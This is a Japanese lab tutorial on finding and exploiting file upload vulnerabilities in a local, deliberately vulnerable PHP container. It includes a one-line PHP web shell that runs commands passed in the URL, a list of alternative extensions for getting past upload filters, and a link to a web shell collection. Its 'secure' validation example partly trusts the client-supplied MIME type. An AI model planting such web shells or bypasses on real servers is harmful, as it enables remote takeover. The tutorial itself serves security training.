Nmap を使用したファイルアップロード脆弱性の悪用

NmapBeginner
オンラインで実践に進む

はじめに

この実験(Lab)では、Web アプリケーションにおける一般的なセキュリティ上の問題である、ファイルアップロードの脆弱性に焦点を当てます。これらの脆弱性を特定する方法、潜在的な影響を理解し、それらを悪用する方法を学びます。この実験(Lab)では、実践的な例を用いたハンズオン形式で、Web アプリケーションのセキュリティ概念と防御策をより深く理解することができます。

ファイルアップロード脆弱性の理解

ファイルアップロードの脆弱性は、Web アプリケーションがアップロードされたファイルを適切に検証しない場合に発生します。これにより、攻撃者が悪意のあるファイルをアップロードし、サーバー上でリモートコード実行(remote code execution)を引き起こす可能性があります。

PHP で move_uploaded_file() 関数を使用した、一般的なファイルアップロードの実装を見てみましょう。

<?php
// The move_uploaded_file() function moves an uploaded file to a new location
// Returns true on success, false on failure
move_uploaded_file($file, $newloc);

パラメータ:

  • $file: 移動するアップロードされたファイル
  • $newloc: ファイルの移動先パス

安全な実装には、次の例に示すように、適切な検証が含まれている必要があります。

<?php
// Define allowed image extensions
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);        // Get the file extension

if ((($_FILES["file"]["type"] == "image/gif")
    || ($_FILES["file"]["type"] == "image/jpeg")
    || ($_FILES["file"]["type"] == "image/jpg")
    || ($_FILES["file"]["type"] == "image/pjpeg")
    || ($_FILES["file"]["type"] == "image/x-png")
    || ($_FILES["file"]["type"] == "image/png"))
    && ($_FILES["file"]["size"] < 204800)    // Less than 200 KB
    && in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "Error: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
        echo "File type: " . $_FILES["file"]["type"] . "<br>";
        echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
        echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
    }
}
else
{
    echo "Invalid file format";
}
?>

このコードは、いくつかの重要なセキュリティチェックを示しています。

  • ファイル拡張子の検証
  • MIME タイプ(MIME type)の検証
  • ファイルサイズの制限
  • エラー処理

これらの検証がない場合、攻撃者はサーバー上で実行される可能性のある悪意のあるファイルをアップロードする可能性があります。

サーバーサイド言語の特定

ファイルアップロードの脆弱性を悪用する前に、Web アプリケーションで使用されているサーバーサイド言語を特定することが重要です。この情報によって、悪用を成功させるためにアップロードするファイルの種類が決まります。

まず、実験(Lab)環境をセットアップしましょう。

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images

このコマンドを実行した後、http://localhost:82 で環境にアクセスできることを確認してください。

サーバーサイド言語を特定する方法:

  1. URL のファイル拡張子:

    • .php 拡張子は PHP を示します
    • .asp または .aspx 拡張子は ASP.NET を示します
    • .jsp 拡張子は Java Server Pages(JSP)を示します
  2. サーバーヘッダー:

    • Microsoft IIS は通常 ASP.NET を実行します
    • Apache または Nginx は一般的に PHP を実行します
    • Apache Tomcat は JSP を実行します

Wappalyzer ブラウザ拡張機能を使用すると、Web サーバーとプログラミング言語を自動的に検出できます。

実験(Lab)環境では、次のようになっているはずです。

Web Server: Apache
Backend Language: PHP

Web シェルをアップロードする

PHP がサーバーサイド言語であると特定できたので、PHP Web シェルをアップロードして、サーバー上でコマンドを実行します。

Web シェルのコレクションは、こちらにあります。

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php
  1. /home/labex/project ディレクトリにテストファイル phpinfo.php を作成します。
<?php phpinfo(); ?>
  1. ファイルをアップロードします。

  2. アップロードを確認します。

  3. コマンド実行シェル shell.php を作成します。

<?php echo "Shell"; system($_GET['cmd']); ?>
  1. シェルをアップロードしてテストします。

    • 同じ方法で shell.php をアップロードします
    • http://localhost:82/upload/images/shell.php にアクセスします
    • 警告メッセージが表示される場合があります(パラメータがない場合は想定どおりです)
  2. コマンドを実行します。

注:この実験(Lab)では、基本的な Web シェルの機能を示します。リバースシェル(reverse shell)や権限昇格(privilege escalation)などの高度なトピックは、より高度なコースで取り上げられます。

サーバー制限の回避 (オプション)

一部の Web アプリケーションでは、悪意のあるファイルのアップロードを防ぐために、ファイル拡張子の制限を実装しています。このセクションでは、これらの制限を回避する方法について説明します。

.php 拡張子がブロックされている場合は、実行可能である可能性のある代替の PHP 拡張子を試してください。

  1. .php3 拡張子でアップロードを試みます。

  2. 成功しない場合は、.phar 拡張子を試します。

試す一般的なバイパス拡張子:

  • .php3
  • .php4
  • .php5
  • .phar
  • .phtml

注:成功するかどうかは、サーバーの構成によって異なります。サーバーが異なると、PHP コードとして実行できる拡張子も異なる場合があります。

まとめ

この実験(Lab)では、ファイルアップロードの脆弱性の重要な側面を取り上げました。

主な概念:

  • ファイルアップロードの脆弱性メカニズムの理解
  • サーバーサイドプログラミング言語の特定
  • Web シェル(Web Shell)のアップロードと実行
  • ファイル拡張子の制限の回避

習得した技術スキル:

  • サーバーサイド言語の検出
  • Web シェルの作成とデプロイメント(deployment)
  • アップロードされたファイルによるコマンド実行
  • 拡張子バイパス(bypass)テクニック

セキュリティへの影響:

  • 不十分なファイル検証の影響
  • 適切なアップロード制限の重要性
  • サーバーサイド実行のリスク

この基礎知識は、後続のコースで取り上げる高度な Web アプリケーションセキュリティのトピックに備えるのに役立ちます。